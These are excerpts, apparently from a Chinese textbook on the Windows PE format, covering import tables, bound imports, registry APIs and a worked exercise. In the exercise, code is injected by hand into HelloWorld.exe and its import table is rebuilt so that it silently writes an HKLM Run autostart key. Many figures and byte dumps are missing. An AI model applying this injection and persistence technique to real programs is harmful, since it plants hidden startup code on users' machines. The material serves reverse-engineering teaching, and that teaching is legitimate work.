在上图中，FirstThunk应该和OriganalFirstThunk一样也有一份函数指针表，即桥2。只是在这里没有画出来而已，图4-10是装入内存后的LockTray.exe的导入表。 图 4-10 内存中的LockTray导入表 从现在掌握的对导入表的知识来看，定位导入函数地址表的方法有两种： 第一种方法是从导入表的最后一个导入表项IMAGE_IMPORT_DESCRIPTOR结构中的字段IMAGE_IMPORT_DESCRIPTOR.FirstThunk定位IAT。 第二种方法是通过数据目录第13个数据项的描述直接定位IAT。 诚如结构里所描述的那样，每个动态链接库都维护了自己的IAT内容，而且不同链接库维护的这些内容可以是不连续的，这在后面还会讲到。 当程序加载到内存以后，导入表部分发生变化的值正是IMAGE_IMPORT_DESCRIPTOR结构中的FirstThunk字段指向的函数指针表内容。这些内容已经不是指向函数名的指针了，而是指向了虚拟内存中该函数的可执行代码的地址！所以其含义也由原来的函数指针更改为函数的入口地址。现在看来，所有的这些值最终都指向了同一片连续的区域，从而形成了我们常说的IAT。 图4-11从另一个侧面分析了导入表的数据组织。 图 4-11 导入表平面解析 如图所示： （1）是user32.dll动态链接库。 （2）是kernel32.dll动态链接库。 ①是指向引入user32函数名的指针数组。 ②是指向引入kernel32函数名的指针数组。 ①'是指向引入user32函数入口地址的指针数组。 ②'是指向引入kernel32函数入口地址的指针数组。 ①'+②'组成了标准的IAT。如果在内存中，这里的地址会被修改成相关函数的绝对地址，程序只要跳转到这里就可以执行相关函数了。 图中涉及与导入表有关的所有数据，但是狭义上的导入表却只是几个IMAGE_IMPORT_DESCRIPTOR结构而已，因为在数据目录中记录的导入表长度只计算了这些结构的大小，其他的数据并没有包含在内！这一点一定要清楚。上图的导入表长度只有3ch个字节，但与导入表相关的数据却长达92h个字节。 接下来，介绍与导入表有关的编程，主要学习如何根据导入表的数据组织方式从PE文件中获取导入表的相关信息。"},
    {"text": "4.4 导入表编程 4.4 导入表编程 本节将围绕导入表结构讲述如何对导入表进行遍历。遍历输出的内容包括导入表使用了哪些动态链接库，都调用了这些动态链接库的哪些函数等。通过分析一个PE文件的导入表信息，可以猜测出该PE文件的大致功能，这种应用在逆向工程和病毒分析方面比较常见。 4.4.1 导入表遍历的思路 遍历导入表的大致步骤如下： 步骤1 将导入表的第一个IMAGE_IMPORT_DESCRIPTOR的起始地址给edi。 步骤2 获取导入表所处的节的名称，并显示。 步骤3 构造循环条件，当IMAGE_IMPORT_DESCRIPTOR结构中所有的字段均不为0时作为执行条件。 步骤4 获取IMAGE_IMPORT_DESCRIPTOR结构所有字段，并显示该结构对应的动态链接库名称。 步骤5 显示该动态链接库下调用的所有函数的编号和名称。 4.4.2 编写函数_getImportInfo 4.4.2 编写函数_getImportInfo 回顾本书第2章介绍的PEInfo小工具，利用该工具可以输出PE文件头部结构的大部分信息。作为整个小工具输出信息的一部分，本小节将讲述如何通过编码输出导入表信息。本节的源程序来自第2章的PEInfo.asm。打开该文件，在_openFile函数中加入以下代码（加黑部分）： ;到此为止，该文件的验证已经完成。为PE结构文件 ;接下来分析文件映射到内存中的数据，并显示主要参数 invoke _getMainInfo,@lpMemory,esi,@dwFileSize ;显示导入表 invoke _getImportInfo,@lpMemory,esi,@dwFileSize 加入的代码调用了函数_getImportInfo，该函数即为遍历PE导入表的函数。详细编码见代码清单4-2所示。 代码清单4-2 遍历PE文件导入表的函数_getImportInfo（chapter4\\peinfo.asm） 1 ;------------------------------ 2 ;遍历PE文件的导入表 3 ;------------------------------ 4 _getImportInfo proc _lpFile,_lpPeHead,_dwSize 5 local @szBuffer [1024]:byte 6 local @szSectionName [16]:byte 7 8 pushad 9 mov edi,_lpPeHead 10 assume edi:ptr IMAGE_NT_HEADERS 11 mov eax,[edi].OptionalHeader.DataDirectory [8].VirtualAddress 12 .if!eax 13 invoke _appendInfo,addr szErrNoImport 14 jmp _Ret 15 .endif 16 invoke _RVAToOffset,_lpFile,eax 17 add eax,_lpFile 18 mov edi,eax ;计算引入表所在文件偏移位置 19 assume edi:ptr IMAGE_IMPORT_DESCRIPTOR 20 invoke _getRVASectionName,_lpFile,[edi].OriginalFirstThunk 21 invoke wsprintf,addr @szBuffer,addr szMsg1,eax ;显示节名 22 invoke _appendInfo,addr @szBuffer 23 24 .while [edi].OriginalFirstThunk||[edi].TimeDateStamp||\\ 25 [edi].ForwarderChain||[edi].Name1||\\ 26 [edi].FirstThunk 27 invoke _RVAToOffset,_lpFile,[edi].Name1 28 add eax,_lpFile 29 invoke wsprintf,addr @szBuffer,addr szMsgImport,eax,\\ 30 [edi].OriginalFirstThunk,[edi].TimeDateStamp,\\ 31 [edi].ForwarderChain,[edi].FirstThunk 32 invoke _appendInfo,addr @szBuffer 33 34 ;获取IMAGE_THUNK_DATA列表到ebx 35 .if [edi].OriginalFirstThunk 36 mov eax,[edi].OriginalFirstThunk 37 .else 38 mov eax,[edi].FirstThunk 39 .endif 40 invoke _RVAToOffset,_lpFile,eax 41 add eax,_lpFile 42 mov ebx,eax 43 .while dword ptr [ebx] 44 ;按序号导入 45 .if dword ptr [ebx]＆IMAGE_ORDINAL_FLAG32 46 mov eax,dword ptr [ebx] 47 and eax,0ffffh 48 invoke wsprintf,addr @szBuffer,addr szMsg3,eax 49 .else ;按名称导入 50 invoke _RVAToOffset,_lpFile,dword ptr [ebx] 51 add eax,_lpFile 52 assume eax:ptr IMAGE_IMPORT_BY_NAME 53 movzx ecx,[eax].Hint 54 invoke wsprintf,addr @szBuffer,\\ 55 addr szMsg2,ecx,addr [eax].Name1 56 assume eax:nothing 57 .endif 58 invoke _appendInfo,addr @szBuffer 59 add ebx,4 60 .endw 61 add edi,sizeof IMAGE_IMPORT_DESCRIPTOR 62 .endw 63 _Ret: 64 assume edi:nothing 65 popad 66 ret 67 _getImportInfo endp 行11定位数据目录表项，获取导入表所在内存的RVA。[edi].OptionalHeader.Data Directory[8]表示从数据目录表开始地址再加8个字节，这8个字节刚好跳过数据目录的第1项导出表，从而定位到导入表。 行12～15判断取出的RVA是否为0，如果是0则表示该PE文件无导入表，显示信息，返回。 行16～23将取到的RVA值转换为FOA，并将指针EDI调整到该位置，输出导入表数据所处的节的名称。 行24～62是一个循环，该循环的主要功能是处理每个导入表项IMAGE_IMPORT_DESCRIPTOR结构，显示每个导入表项的相关信息，这些信息包括： 动态链接库名称 IMAGE_IMPORT_DESCRIPTOR结构的每个字段的值 导入的函数“编号/名称” 循环的结束条件是IMAGE_IMPORT_DESCRIPTOR的每个字段的值均为0。行43～60是内嵌循环，显示了从每个动态链接库导入的函数列表。 4.4.3 运行测试 4.4.3 运行测试 编译链接生成PEInfo.exe，运行后取chapter4\\HelloWorld.exe文件分析其导入表部分结果显示如下： 从输出的分析结果可以看出，HelloWorld.exe一共调用了两个动态链接库的2个函数，与源代码中的invoke调用个数是一致的。"},
    {"text": "4.5 绑定导入 4.5 绑定导入 绑定导入是一种提高PE加载速度的技术。它只能起辅助性的作用，它的存在与否只影响加载过程，并不影响PE的最终加载结果和运行结果。 4.5.1 绑定导入机制 双桥结构的导入表中，桥2是指向IAT的，Windows加载程序负责IAT中地址的修正工作。如果一个PE中导入的函数比较多，那么这部分工作就会占用一些时间，PE加载速度就会变慢。绑定导入的目的就是把由Windows加载程序负责的IAT地址修正工作提前到加载前进行，要么由用户手工完成，要么由专门的程序来完成；然后，通过在PE文件中声明绑定导入数据，以便告诉操作系统加载器说这部分工作不需要你做了。 那么，为什么说它只是辅助性的工作呢？不同的操作系统中，动态链接库的基地址通常是不一样的。比如kernel32.dll，在Windows 2000中其加载到进程空间的基地址为0x77e60000，而在Windows XP SP3中其加载地址则是0x7c800000。同一动态链接库加载后处于不同的基地址，直接导致了同一个导入函数在不同操作系统中其导入地址VA是不一样的。所以，经过绑定导入的一个PE程序可能在Windows 2000里运行得很好，但到了Windows XP中却因地址出现错误而造成无法运行。 在为PE加入绑定导入机制的时候，微软就已经考虑到了这个问题，所以假定PE加载前对IAT的修正都是正确的。那么PE的加载速度是加快的，即使绑定以后的EXE程序在其他的兼容系统中运行时，其地址出现错误，PE加载也有检测错误的机制。如果地址检测出错误，PE加载器会重新接管这项工作，加载时对IAT进行修正。 微软提供了一个绑定工具bind.exe程序，该程序可以把导入表中IAT表项IMAGE_THUNK_DATA32的内容都静态替换成虚拟内存地址，然后在数据目录表的第12项指定的位置声明这些更改。Windows在加载目标PE相关的动态链接库时，会首先检查这些地址是否正确合法，这些检查包括当前系统的DLL版本是否符合绑定导入结构中描述的版本号，如果不符合或者DLL需要被重新定位，加载器就会去遍历OriginalFirstThunk指向的数组（也就是INT），计算新的地址。如果导入表是单桥结构，此时的遍历会失效，所以说单桥结构无法实施静态绑定操作。 4.5.2 绑定导入数据定位 4.5.2 绑定导入数据定位 绑定数据是数据目录中注册的一种类型，位于数据目录的第12项。打开chapter4下的notepad.exe，可以找到该位置的数据。以下所示为notepad.exe的数据目录内容（从地址0x00000158开始）。加黑部分为绑定数据项。 从以上字节码可以看出： 绑定导入数据RVA=0x00000250 绑定导入数据大小=000000D0h 根据RVA与FOA的换算关系，可以计算出绑定导入数据所在文件的偏移为：0x00000250。 注意 系统文件的绑定导入数据在文件中的存放位置：大部分情况下，该数据被存储在PE文件头部，紧跟在节表后。 4.5.3 绑定导入数据结构 4.5.3 绑定导入数据结构 绑定导入数据由一系列的绑定导入描述符IMAGE_BOUND_IMPORT_DESCRIPTOR的结构组成。每一个结构对应一个导入的动态链接库，它描述了导入动态链接库的版本信息（通过时间戳来定义），该结构的详细定义如下： IMAGE_BOUND_IMPORT_DESCRIPTOR STRUCT TimeDateStamp dword ? ;0000h-时间戳 OffsetModuleName word ? ;0004h-指向DLL名称 NumberOfModuleForwarderRefs word ? ;0006h-ModuleForwarderRef数目 IMAGE_BOUND_IMPORT_DESCRIPTOR ENDS 结构中各字段的详细解释如下： 61.IMAGE_BOUND_IMPORT_DESCRIPTOR.TimeDateStamp +0000h，双字。该字段的值必须与要引用的DLL的文件头IMAGE_FILE_HEADER.TimeDateStamp字段值相吻合，否则就会促使加载器去重新计算新IAT，这种情况一般发生在DLL版本不同时或者DLL映像被重定位时。 62.IMAGE_BOUND_IMPORT_DESCRIPTOR.OffsetModuleName +0004h，单字。该字段包含了以第一个IMAGE_BOUND_IMPORT_DESCRIPTOR作为基址，DLL名称字符串(ASCⅡ且以“\\0”结束)的偏移。 注意 该偏移地址是一个特殊地址，它即不是RVA，也不是FOA。 63.IMAGE_BOUND_IMPORT_DESCRIPTOR.NumberOfModuleForwarderRefs +0006h，单字。该字段描述了紧接在IMAGE_BOUND_IMPORT_DESCRIPTOR结构后的另一个结构IMAGE_BOUND_FORWARDER_REF数组的元素个数。 以下是结构IMAGE_BOUND_FORWARDER_REF的定义： IMAGE_BOUND_FORWARDER_REF STRUCT TimeDateStamp dword ? ;0000h-时间戳 OffsetModuleName word ? ;0004h-指向DLL名称 Reserved word ? ;0006h-预留 IMAGE_BOUND_FORWARDER_REF ENDS 为什么会存在该结构呢？出于不同的目的（如代码更新、结构调整或实施补丁等），动态链接库中的某些函数的实现代码会被转移到别的动态链接库中。但为了提供向前的兼容，这些动态链接库中还保留了该函数的定义。也就是说，一个导入函数将涉及对多动态链接库函数的调用，数据结构IMAGE_BOUND_FORWARDER_REF就是在这样一个背景下产生的，它将引入函数涉及的所有动态链接库都列举出来。该结构的字段定义和IMAGE_BOUND_IMPORT_DESCRIPTOR是基本一致的，所以前面的描述“绑定导入数据由一系列的绑定导入描述符IMAGE_BOUND_IMPORT_DESCRIPTOR的结构组成”也是成立的。 绑定导入数据的组织方式见图4-12。 图 4-12 绑定导入数据的组织方式"},
    {"text": "4.5.4 绑定导入实例分析 4.5.4 绑定导入实例分析 在Windows XP操作系统中，大部分系统PE文件都使用了绑定导入技术。下面将以记事本程序为例，为大家讲述绑定导入的实例，以帮助读者了解绑定导入的数据组织方式。 使用小工具PEDump从notepad.exe中获取绑定导入数据如下： 我们看一个特殊的具有IMAGE_BOUND_FORWARDER_REF的结构，如上列表中黑体部分所示。字节码分析如下： 先分析IMAGE_BOUND_IMPORT_DESCRIPTOR。 01 00 表示该动态链接库中的函数实现字节码存储在另外一个动态链接库中。 再分析IMAGE_BOUND_FORWARDER_REF。"},
    {"text": "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run] \"NewValue\"=\"D:\\\\masm32\\\\source\\\\chapter5\\\\LockTray.exe\" 4.6.1 常用注册表API Win32 API提供了大约25个有关注册表操作的函数，这些函数位于动态链接库文件advapi32.dll中。"},
    {"text": "函数原型如下： LONG RegCreateKey( HKEY hKey,//要打开键的句柄 LPCTSTR lpSubKey,//要打开子键的名字的地址 PHKEY phkResult//已打开句柄的缓存区的地址 ); 各参数的解释如下： 1）hKey：当前打开键的句柄或下列预定义的句柄值。 HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG HKEY_CURRENT_USER HKEY_LOCAL_MACHINE HKEY_USERS HKEY_PERFORMANCE_DATA 2）lpSubKey：指向包含了要打开或新建键的名字，该名字以空字符结束。"},
    {"text": "函数原型如下： LONG RegCreateKeyEx( HKEY hKey, LPCTSTR lpSubKey, DWORD Reserved, LPTSTR lpClass, DWORD dwOptions, REGSAM samDesired, LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition ); 各参数的解释如下： 1）hKey：主键值。"},
    {"text": "可以取下面的一些数值： REG_OPTION_NON_VOLATILE：表示新创建的键为一个非短暂性的键（即数据信息保存在文件中，当系统重新启动时，数据信息恢复）。 REG_OPTION_VOLATILE：表示新创建的键为一个短暂性的键（数据信息保存在内存中）。"},
    {"text": "6）samDesired：用来设置对键访问的权限，可以取下面的一些数值： KEY_CREATE_LINK：表示准许生成符号键。 KEY_CREATE_SUB_KEY：表示准许生成子键。 KEY_ENUMERATE_SUB_KEYS：表示准许生成枚举子键。 KEY_EXECUTE：表示准许进行读操作。 KEY_NOTIFY：表示准许更换通告。 KEY_QUERY_VALUE：表示准许查询子键。 KEY_ALL_ACCESS：提供完全访问，是上面数值的组合。 KEY_READ：是KEY_QUERY_VALUE、KEY_ENUMERATE_SUB_KEYS和KEY_NOTIFY数值的组合。 KEY_SET_VALUE：表示准许设置子键的数值。 KEY_WRITE：是KEY_SET_VALUE和KEY_CREATE_SUB_KEY两个数值的组合。"},
    {"text": "8）phkResult：指向新创建或打开的键的句柄的指针。 9）lpdwDispition：指明键是被创建还是被打开的，可以是下面的一些数值： REG_CREATE_NEW_KEY：表示键先前不存在，现在被创建。 REG_OPENED_EXISTING_KEY：表示键先前已存在，现在被打开。"},
    {"text": "函数原型如下： LONG RegOpenKeyEx( HKEY hKey, LPCTSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult ); 各参数解释如下： 1）hKey：同RegCreateKeyEx函数中的hKey参数。"},
    {"text": "4.函数RegSetValueEx 该函数用来设置注册表的键值和键的类型。 函数原型如下： LONG RegSetValueEx（ HKEY hKey,//打开键的句柄 LPCTSTR lpValueName,//值的名字 DWORD Reserved,//保留 DWORD dwType,//数值类型 const BYTE*lpDate,//缓冲区,存放值 DWORD cbData//值的长度 ); 各参数解释如下： 1）hKey：表示一个被打开的键的句柄，该键必须以KEY_SET_VALUE安全级别打开。 该句柄可以是由函数RegCreateKeyEx或者RegOpenKeyEx返回的句柄，也可以是函数RegOpenKeyEx参数hKey中预定义的句柄值。"},
    {"text": "REG_QWORD：64位的数字。 REG_QWORD_LITTLE_ENDIAN：little-endian格式的64位数字。 Windows系统是在little-endian结构的计算机上运行的，因此该值在Windows头文件中被定义为REG_QWORD。 REG_SZ：字符串。"},
    {"text": "如果是字符类型，则该字符串必须以“\\0”结尾； 如果是REG_MULTI_SZ类型，该值必须以两个“\\0”字符结尾。 如果最后一个字符不是“\\0”，该函数将会检查下一个字符，并判断是否以“\\0”结尾。"},
    {"text": "5.函数RegCloseKey 该函数用来释放给定键的句柄，函数原型如下： LONG RegCloseKey( HKEY hKey//要关闭键的句柄 ); 函数参数解释如下： 1）hKey：要关闭已打开键的句柄。"},
    {"text": "与设计目标有关的汇编代码如下： invoke RegCreateKey,HKEY_LOCAL_MACHINE,_lpszKey,addr @hKey invoke RegSetValueEx,@hKey,_lpszValueName,NULL,\\_lpdwType,_lpszValue,_lpdwSize invoke RegCloseKey,@hKey 别小看这三行代码，如果通过手工修改，将这些代码人为地添加到目标PE中，难度还是相当大的，现在就来挑战一下吧。"},
    {"text": "4.6.2 构造目标指令 4.6.2 构造目标指令 本小节将根据汇编代码模拟编译程序的指令代码构造，生成最终要添加到目标PE的指令字节码。 1.模拟指令代码 通过之前对汇编语言与指令字节码的了解，相信大家可以很容易地模拟出此次挑战的三行汇编代码，大致字节码如下： 2.细化指令 下面，对模拟的指令字节码进行细化，具体包括： （1）68xxxxxxxx push addr @hKey 如果数据在.data段中，而传递的是地址，比如addr @hKey，则push的指令码为68h，后面紧跟着8位的地址，该地址指示了数据所在位置的VA。即@hKey所在的VA。关于这个值的计算方法如下： 获得程序默认装载地址=0x00400000 获得数据段.data的起始RVA=0x03000 假设数据段的安排如下所示： .data szText db 'HelloWorld',0 sz1 db 'SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN',0 sz2 db 'NewValue',0 sz3 db 'd:\\masm32\\source\\chapter5\\LockTray.exe',0 @hKey dd ? 对应的字节码为： 根据数据段各变量的位置，从上述所列字节码中找到@hKey所在的位置为0x00403069，所以第一条指令字节码是68 69 30 40 00。 （2）68xxxxxxxx push addr sz1 采用和第1条指令相同的分析方法，获取注册表分支所在位置，最后得出第二条压栈指令。第二条指令字节码是68 0B 30 40 00。 （3）68xxxxxxxx push HKEY_LOCAL_MACHINE 因为HKEY_LOCAL_MACHINE是一个双字常量，所以压栈的指令字节码为68h，其后是该常量的值。打开D:\\masm32\\include\\windows.inc文件，找到该常量的定义语句： HKEY_LOCAL_MACHINE equ 80000002h 得到第三条指令字节码是68 02 00 00 80。 （4）E8xxxxxxxx call RegCreateKeyA 由于这是一个段内调用，所以call的指令字节码为E8，而其后跟随的则是距离真正跳转指令的偏移。那么，真正跳转的指令距离这个指令到底有多远呢？可以通过以下方法计算出来。 首先，确定最初HelloWorld.exe的指令长度为24h（通过PEDump获知）。 其次，它要跳过自身后面的所有指令，如下所示： 这些指令加起来的长度为26h，两者相加即为call到jmp的偏移量4Ah；所以，第四条指令的字节码是E8 4A 00 00 00。 （5）6A27 PUSH 27H 如果往栈里推入的双字可以控制在一个字节内，那么需要使用6A指令。后面直接跟一个字节的数值。 第五条指令的字节码是6A 27。 使用以上分析方法，不难得出6～9条指令的字节码依次为： 第六条指令字节码是68 42 30 40 00。 第七条指令字节码是6A 01。 第八条指令字节码是6A 00。 第九条指令字节码是68 39 30 40 00。 （6）FF35 xxxxxxxx push @hKey 当要将数据段指定位置的双字值压入栈时，需要使用指令FF35，其跟着指定位置的VA。其实该指令可以解释为：push dword ptr ds:[xxxxxxxx]。 所以第十条指令字节码是FF 35 69 30 40 00。 （7）E8 xxxxxxxx call RegSetValueExA 同第四条指令，该跳转的地址紧跟在第四条指令跳转的后面。现在计算操作数，长度由以下部分组成： 1）该指令下的其他指令如下，总计0Bh个字节。 2）原Helloworld.exe指令，总计24h个字节。 3）第四条指令的跳转指令FF 25 XX XX XX XX，总计6h个字节。 以上长度加起来以后的结果是35h。所以第十一条指令字节码为E8 35 00 00 00。 （8）FF35 xxxxxxxx Push @hKey 第十二条指令字节码是FF 35 69 30 40 00。 （9）E8xxxxxxxx Call RegClose 同第四条指令，该跳转地址紧跟在第十一条指令后，其长度的计算包括以下几个部分： 其后再无添加代码（0h） 原Helloworld.exe指令（24h） 第四条指令的跳转指令FF 25 XX XX XX XX（6h） 第十一条指令的跳转指令FF 25 XX XX XX XX（6h） 以上长度加起来以后的结果是30h。第十三条指令字节为E8 30 00 00 00。 （10）跳转指令 跳转指令为FF25，后面跟着要跳转到的VA地址。从前面对导入表的分析看，这三个函数的地址是IAT的前三个，也就是最后一个非零IMAGE_IMPORT_DESCRIPTOR结构中字段FirstThunk指向的位置。其地址依次为00402000、00402004、00402008，所以，最后三个跳转指令依次为： 综上所述，新增加代码的字节码如下： 与原HelloWorld.exe的字节码相比，代码部分增加了4Ch大小。指令字节码构造完成后，接下来的任务就是分析此次修改导致的PE头部的变化。"},
    {"text": "4.6.3 PE头部变化 4.6.3 PE头部变化 1.IMAGE_SECTION_HEADER(.data).VirtualSize 新增加的常量都定义在源代码的数据段主要包括以下内容： sz1 db 'SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN',0 sz2 db 'NewValue',0 sz3 db 'd:\\masm32\\source\\chapter5\\LockTray.exe',0 @hKey dd ? 共98个字节，所以.data节的尺寸要增加62h。 2.IMAGE_DATA_DIRECORY[IAT].isize 由于新增加了一个IMAGE_IMPORT_DESCRIPTOR，所以在IAT中要加入新增加的三个入口函数地址；同时，增加一个结尾的0，共四个双字，16个字节，故IMAGE_DATA_DIRECORY[IAT].isize要多加10h。 3.IMAGE_DATA_DIRECORY[IT].VirtualAddress 由于导入表的起始地址紧跟在IAT后，IAT多增加的字节数也是导入表起始地址的后移数量，所以该字段要后移16个字节，即IMAGE_DATA_DIRECORY[IT].VirtualAddress要多加10h。 4.IMAGE_SECTION_HEADER(.rdata).VirtualSize 1）增加一个动态链接库，就增加一个IMAGE_IMPORT_DESCRIPTOR结构，大小为14h。 2）OriginalFirstThunk部分，3个新增注册表操作函数名指针和一个0结尾的指针共10h。 3）“编号/名称”部分包含以下定义： xxRegCreateKeyA\\0xxRegSetValueExA\\0xxRegCloseKey\\0advapi32.dll\\0\\0 共计61个字节，即十六进制的3Dh。 4）FirstThunk部分，3个新增注册表函数名指针和一个0结尾的指针共10h。 综上所述，IMAGE_SECTION_HEADER(.rdata).VirtualSize的值需要多加71h。 5.IMAGE_DATA_DIRECORY[IT].isize 多了一个动态链接库，就多出一个IMAGE_IMPORT_DESCRIPTOR结构，该结构大小为14h。即IMAGE_DATA_DIRECORY[IT].isize多加14h。 6.IMAGE_SECTION_HEADER(.text).VirtualSize 代码大小前面已分析过，增加了4Ch大小。 由于插入代码而使得PE头部发生变化之处见表4-1。"},
    {"text": "原代码段位于0400h处，其字节码如下： 对代码段的修改需要将新增加的指令字节码加入到该段中，最终变成以下内容： 细心的你可能已经发现了，加入代码以后，原来HelloWorld.exe的部分内容也发生了变化（黑体部分）。"},
    {"text": "在程序中，一共增加了三个函数（这三个函数均来自同一个动态链接库），所以按照导入表的要求，在IAT表头需要增加三个函数的入口地址（12个字节）和一个全0（4个字节）的地址。"},
    {"text": "修改前，先看一下导入表数据的原始字节码如下所示： 修改后的内容如下所示（带下划线为新增加部分，斜线部分的值并不是真实的，待定）： （1）INT，即OriginalFirstThunk部分（4*4+2*4+2*4=20h） （2）导入表项部分（20*3+20=50h） （3）IAT，即FirstThunk部分（4*4+2*4+2*4=20h） （4）函数编号、函数名以及动态链接库名部分 以上列出了导入表的四个组成部分，只要知道了代码中调用函数的个数以及链接库的个数，INT、导入表项、IAT三个部分的大小就是固定的了。 事实上，导入表的重组只需要先将第4部分也就是函数编号、函数名和动态链接库这一部分根据编码设置好，剩下的其他部分的数据就可以按照数据结构自行构造了。"},
    {"text": "先来看第1部分和第2部分字节码的构造： 第1部分（INT）： 第2部分（导入表项）： 第三个导入表项IMAGE_IMPORT_DESCRIPTOR的OriginalFirstChunk值为00002070h，它是一个RVA，转换为文件偏移为0x00000670。"},
    {"text": "构造好的第3部分字节码如下： 第3部分（IAT）： 提示 在真正的导入表重组过程中，为了能减少工作量，降低复杂度，通常会将该导入表的现有数据全部作废，利用一块新的空间重新构造PE的导入表数据，并修改PE头部数据目录表的第2项的相关值，重新注册导入表起始地址和大小。"},
    {"text": "4.修改与数据目录表项和节表项相关字段 定位IMAGE_SECTION_HEADER(.rdata).VirtualSize，并将原来的值00000092h更改为00000103h。 定位IMAGE_DATA_DIRECORY[IT].VirtualAddress，并将原来的值00002010h更改为00002020h。 定位IMAGE_DATA_DIRECORY[IT].isize，并将原来的值0000003ch更改为00000050h。 定位IMAGE_DATA_DIRECORY[IAT].isize，并将原来的值00000010h更改为00000020h。"},
    {"text": "回到程序字节码部分，看看调用函数MessageBox和函数ExitProcess时使用的地址，由于我们手工生成了IAT，在生成的时候并没有考虑到这两个函数的调用顺序。"},
    {"text": "4.6.5 程序实现 4.6.5 程序实现 刚才的工作如果让链接器来做会是怎样的呢？代码清单4-3列出了通过程序代码实现添加注册表启动项的功能代码。 代码清单4-3 添加注册表项（chapter4\\HelloWorld2.asm） 1 ;------------------------ 2 ;我的第一个基于Win32的汇编程序 3 ;戚利 4 ;2006.2.28 5 ;------------------------ 6 .386 7 .model flat,stdcall 8 option casemap:none 9 10 include windows.inc 11 include user32.inc 12 includelib user32.lib 13 include kernel32.inc 14 includelib kernel32.lib 15 include advapi32.inc 16 includelib advapi32.lib 17 18 ;数据段 19 .data 20 szText db 'HelloWorld',0 21 sz1 db 'SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN',0 22 sz2 db 'NewValue',0 23 sz3 db 'd:\\masm32\\source\\chapter5\\LockTray.exe',0 24 @hKey dd ? 25 26 ;代码段 27 .code 28 start: 29 invoke RegCreateKey,HKEY_LOCAL_MACHINE,addr sz1,addr @hKey 30 invoke RegSetValueEx,@hKey,addr sz2,NULL,\\ 31 REG_SZ,addr sz3,27h 32 invoke RegCloseKey,@hKey 33 34 invoke MessageBox,NULL,offset szText,NULL,MB_OK 35 invoke ExitProcess,NULL 36 end start 为了对比手工修改与程序自动生成的字节码之间的区别，在程序编码时尽量使用手工修改时的数据定义及代码编码。编译链接生成最终的可执行程序，其运行效果和手工修改以后的NewHelloWorld.exe是完全一样的。 使用PEComp工具把刚才改造的NewHelloworld.exe与HelloWorld2.exe进行对比，结果见图4-14，你会发现两个程序实现的功能虽然一样，但还是有很多不一样的地方，比如位于节\".rdata\"中的导入表数据部分。节\".rdata\"的IMAGE_SECTION_HEADER2.VirtualSize是不一样的，链接器在定义函数RegSetValueExA的名字时后面多加了一个“\\0”。凡是函数名字符串的字符个数为偶数，则后面跟两个“\\0”，如果函数名后面为奇数，则后面跟1个“\\0”。“\\0”的个数是为了保持2个字节对齐而设置的。 图 4-14 手工与自动编码PE的对比 特别提醒 不要被程序运行的表象所迷惑，说不定后台就会有你看不到的代码正在运行中！测试完成后请务必删除启动项添加的那个键，不要说我没有告诉你哦！ 4.6.6 思考：关于IAT的连贯性 4.6.6 思考：关于IAT的连贯性 IAT必须是连续的吗？答案是否定的。 从对代码段的分析来看，只要跳转指令FF25跳转到正确的位置，导入表的FirstThunk字段指针指向正确的位置，则IAT可以不连续。关于这个结论大家可以自己做实验进行验证。 以下是对AnotherHelloWorld.exe各部分的修改。 （1）代码段的跳转指令 将其中对有关函数调用的地址从004020XX更改为004021xx，如下所示： （2）导入表部分 为了使改动最小，将原来位于文件偏移610h的新增加的IAT移动到710h处，并将导入表的数据结构的最后一个非0的FirstThunk指针，修改为00002110，即下面加框的部分。 文件偏移量600h处的16个字节和偏移量710h处的16个字节共同组成了IAT，该程序依旧可以被装载并正确运行。那么如果更改了IAT的大小情况会怎样呢？数据目录中IAT的大小部分可以任意更改，起始位置RVA也可以更改，但不能将位置改动到有其他属性的节中，不然会出现如图4-15所示的错误。 图 4-15 改动IAT位置导致失败提示 4.6.7 思考：关于导入表的位置 4.6.7 思考：关于导入表的位置 导入表通常在常量节里，但这并不是定理。我们可以把它放到代码节里，或其他的任何可读属性的节里。 比如，将HelloWorld2.exe中的导入表数据放入代码段的空闲位置。即文件偏移0x000004B0处，如下所示： 导入表原来位置的数据替换为0或不用都可以。其实，在有些时候，要想从PE文件中找出间隙来还是很难的。根据FOA和RVA的转换关系，得出导入表新位置在内存中的RVA值为000010B0h。修改数据目录表中导入表项的字段为新的RVA值，如下所示： 导入表转移到代码段后程序依旧可以很好地运行。 4.7 小结 4.7 小结 本章首先分析了导入函数的使用机制；然后，介绍了导入表的数据组织方式和数据结构，并通过导入表重组实验练习了导入表及其他数据的手工修改过程；同时，还详细阐述了绑定导入的机制及实例。 因为导入表是加壳应用时需要重点处理的一个部分，所以深入研究这部分内容具有很现实的意义。"},
    {"text": "第5章 导出表 第5章 导出表 第4章介绍了PE文件的导入表，导入表描述的是其所在PE文件中的指令调用了其他动态链接库函数的情况。本章重点介绍与导入表刚好相反的导出表，它描述了导出表所在PE文件向其他程序提供的可供调用的函数的情况。 一般情况下，PE中的导出表存在于动态链接库文件里。导出表的主要作用是将PE中存在的函数引出到外部，以便其他人可以使用这些函数，实现代码的重用。本章将和大家一起制作一个含有导出表的DLL文件，并通过该DLL文件分析导出表结构，讨论导出表的利用技术。 5.1 导出表的作用 代码重用机制提供了重用代码的动态链接库，它会向调用者说明库里的哪些函数是可以被别人使用的，这些用来说明的信息便组成了导出表。 通常情况下，导出表存在于动态链接库文件里。但我们不能简单地认为EXE中没有导出表，例如WinWord.exe文件里就有；也不能简单地认为所有的DLL中都有导出表，例如一些专门存放资源文件的DLL里就没有导出表。不过可以这样理解：EXE文件中很少有导出表，大部分的DLL文件中都有导出表。所以一提到导出表，大家总是首先想到动态链接库。 导出表的存在可以让程序的开发者很容易清楚PE中到底有多少可以使用的函数，但如果没有函数使用说明，开发者也只能通过名称、反汇编代码或者运行结果对函数的调用方式、函数的功能等进行猜测。如同Win32 API函数一样，每位开发者可以通过MSDN网站获取对每个API函数的声明、功能介绍、参数介绍，甚至调用实例。 提示 如果你想开发一个类库供自己或他人使用，不仅要通过导出机制声明每个库文件的公用函数，还要详细编写每个函数的说明文档。 